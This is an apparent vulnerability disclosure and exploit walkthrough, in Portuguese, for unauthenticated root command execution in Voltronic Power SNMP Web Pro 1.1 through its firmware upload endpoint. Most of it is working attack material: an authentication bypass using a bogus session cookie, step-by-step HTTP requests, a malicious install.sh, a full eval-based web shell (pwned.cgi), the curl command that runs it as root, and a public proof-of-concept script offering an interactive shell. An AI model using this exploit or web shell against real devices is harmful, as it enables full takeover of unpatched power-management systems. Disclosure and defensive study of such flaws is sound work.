
Execução Remota Completa de Comandos como Root Pré-Autenticada no Voltronic Power SNMP Web Pro 1.1
Execução Remota Completa de Comandos Sem Autenticação no Voltronic Power SNMP Web Pro 1.1
O SNMP Web Pro 1.1 contém uma vulnerabilidade de execução remota de código sem autenticação no endpoint upload.cgi. A funcionalidade de atualização de firmware permite que usuários enviem um arquivo tar, que é então extraído e instalado sem qualquer validação de entrada ou verificações de segurança. A aplicação não restringe nem saneia o conteúdo do arquivo, portanto um atacante pode enviar um arquivo malicioso contendo scripts CGI maliciosos. Com um pouco de tentativa e erro - e muita ajuda das informações que cada resposta vaza - é possível descobrir o formato exato de arquivo esperado e criar um malicioso.
Além disso, o endpoint não valida corretamente a autenticação: fornecer um cookie de sessão manipulado ou inválido é suficiente para contornar os controles de acesso e alcançar a funcionalidade vulnerável sem credenciais válidas, mesmo que o front-end exija claramente um login para usá-la.
Uma exploração bem-sucedida permite que um atacante coloque arquivos executáveis arbitrários no diretório do servidor CGI e execute comandos com privilégios de root.
git clone https://github.com/Virgula0/CVE-2026-44402 && cd CVE-2026-44402
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python3 poc.py
Tudo o que segue foi feito contra uma instância local (http://localhost:5555). Duas coisas tornam todo este exercício trivial desde o início:
Cookie: -http-session-=NOT_VALID é tudo de que precisamos para cada requisição - o parâmetro de consulta sid é um valor aleatório gerado pelo JavaScript do front-end e é igualmente ignorado pelo servidor.Os passos abaixo seguem esse ciclo. As requisições são reduzidas aos cabeçalhos mínimos com os quais o servidor realmente se importa.
A primeira requisição já nos diz onde o servidor espera que o arquivo de firmware esteja. Observe que params=extract pede ao CGI para extrair um arquivo, não para recebê-lo: nada foi enviado ainda; o endpoint simplesmente tenta descompactar o que espera encontrar no disco.
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
Resposta:
HTTP/1.1 503 Service Unavailable
Set-Cookie: -http-session-=6285::http.session::c554063a20f58778321bde709c8b5b88; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:03:21 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 124
tar: can't open '/root/upgrade.tar.gz': No such file or directory
Content-Type:text/html;charset=UTF-8
upgrade=extract
(NAK
O corpo é uma mina de ouro. Além do (NAK (reconhecimento negativo) nos dizer que a operação falhou, a saída bruta do binário tar está embutida literalmente na resposta: ele está tentando extrair /root/upgrade.tar.gz. Observe também o caminho de instalação /root - estamos falando com um processo privilegiado.
Dois fatos para o plano de exploração:
upgrade.tar.gz e colocado em /root. O nome do nosso arquivo não importa.Primeiro, crie um arquivo tar fictício (o upload é um POST multipart; o rastro dele não é interessante - as chamadas GET conduzem todo o comportamento):
tar czvf test.tar.gz test.txt
test.txt
Inicie o ciclo: envie o arquivo e depois extraia-o:
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6287::http.session::11fcdf2cb70f9c5eb9156351f1c99a19; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:08:01 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=extract
(ACK
(ACK - a extração passou sem reclamações. O ciclo (upload -> extract -> install) é a forma deste exploit inteiro; a partir daqui, apenas o passo de instalação muda, então os próximos rastros mostram somente a linha da requisição e o corpo da resposta (os cabeçalhos permanecem idênticos aos acima).
upgradeA extração funciona; hora de instalar. A resposta, como esperado, difere:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6315::http.session::813a6112002ec3f3ca149abe514cfba9; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:15:42 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 63
upgrade=install
(ACKsh: cd: line 1: can't cd to /root/upgrade*
(ACK novamente, mas os resquícios de um comando shell vazam: cd: line 1: can't cd to /root/upgrade*. O instalador executa shell arbitrário - ele tenta fazer cd para um glob que se expande para uma pasta chamada upgrade dentro do arquivo extraído. Nosso arquivo simples inocente (test.txt na raiz) não satisfaz o glob. Correção fácil: reempacotar com um diretório upgrade/ no nível superior.
mkdir upgrade && cd upgrade && touch test.txt
tar czvf test.tar.gz upgrade
upgrade/
upgrade/test.txt
Em seguida, repita os dois primeiros passos do ciclo: reenvie e reextraia.
install.shA mesma chamada de instalação novamente, e o vazamento fica ainda melhor:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6318::http.session::3e74062cf64c49f5ef94905347698a71; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:19:52 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 65
upgrade=install
(ACKchmod: install.sh: No such file or directory
Ele aplica chmod a um script chamado install.sh - ou seja, o procedimento de instalação executa um script shell do arquivo, como root. Neste ponto, controlamos todos os arquivos do arquivo, portanto controlamos esse script. Esta é a vulnerabilidade inteira em uma linha: arquivos arbitrários, executados com privilégios de root, sem autenticação.
Crie install.sh e pwned.cgi dentro do diretório upgrade/ (ambos os arquivos também estão incluídos na pasta upgrade/ deste repositório).
install.sh desempacota a estrutura física para que nosso script seja depositado no diretório CGI da raiz da web e depois corrige as permissões:
cat upgrade/install.sh
#!/bin/sh
current="$PWD"
show=$(ls -la /root/upgrade 2>/dev/null)
ww=$(whoami)
# Write debug info with proper formatting
printf "%s\n%s\n%s\n" "$current" "$show" "$ww" > /var/www/html/web_pages/pwned.txt
# Copy the cgi script correctly
cp pwned.cgi /var/www/html/web_pages/cgi-bin/pwned.cgi
# Set permissions
chmod 755 /var/www/html/web_pages/cgi-bin/pwned.cgi
pwned.cgi é um CGI mínimo de despacho de comandos: recebe o parâmetro de consulta cmd, decodifica a URL e o passa para eval. Esse é o shell remoto:
cat upgrade/pwned.cgi
#!/bin/sh
echo "Content-Type: text/plain"
echo ""
# Get the query string (everything after the '?')
QUERY_STRING="$QUERY_STRING"
# Extract the 'cmd' parameter value
# This simple parser works for cmd=something
CMD=$(echo "$QUERY_STRING" | sed -n 's/.*cmd=\([^&]*\).*/\1/p' | sed 's/+/ /g')
# URL decode (basic: replace %20 with space, etc.)
CMD=$(echo "$CMD" | sed 's/%20/ /g; s/%2F/\//g; s/%2D/-/g; s/%5F/_/g')
if [ -z "$CMD" ]; then
echo "No cmd parameter provided."
exit 0
fi
# Execute the command and return its output
eval "$CMD" 2>&1
Reempacote o arquivo:
tar czvf test.tar.gz upgrade
upgrade/
upgrade/install.sh
upgrade/pwned.cgi
E execute o ciclo completo uma última vez:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6321::http.session::ec3ba9c0e3c14b9eb2403c1d211bf968; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:22:31 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=install
(ACK
Um (ACK limpo, sem erro vazado desta vez: o instalador executou nosso script sem reclamar, e pwned.cgi agora deve estar no diretório CGI. Um simples whoami confirma (coloque a URL entre aspas - ; é um separador de shell, e o parser CGI engasga com ele):
curl 'http://localhost:5555/cgi-bin/pwned.cgi?cmd=whoami%3Buname+-a'
root
Linux SNMP-System 2.6.35.3-670-g914558e-g858a882 #1 PREEMPT Mon Sep 26 16:39:15 CST 2016 armv5tejl GNU/Linux
Root, no ARM Linux do dispositivo. De zero credenciais a um shell root, toda a jornada levou apenas os dois vazamentos acima e um arquivo tar.

Não, o fornecedor ainda não respondeu. Use um proxy reverso nginx com autenticação para proteger o alvo.
poc.py automatiza o ciclo manual 1:1. create_in_memory_tar_archive() constrói o arquivo do Passo 5 em memória (install.sh + uma variante baseada em POST de pwned.cgi), depois upload_archive(), extract_firmware() e install_firmware() repetem os Passos 2 a 4, verify_exploit_uploaded() aguarda o CGI aparecer, e spawn_non_interactive_shell() coloca você em um prompt >>> cujos comandos são codificados em base64 e enviados via POST para pwned.cgi.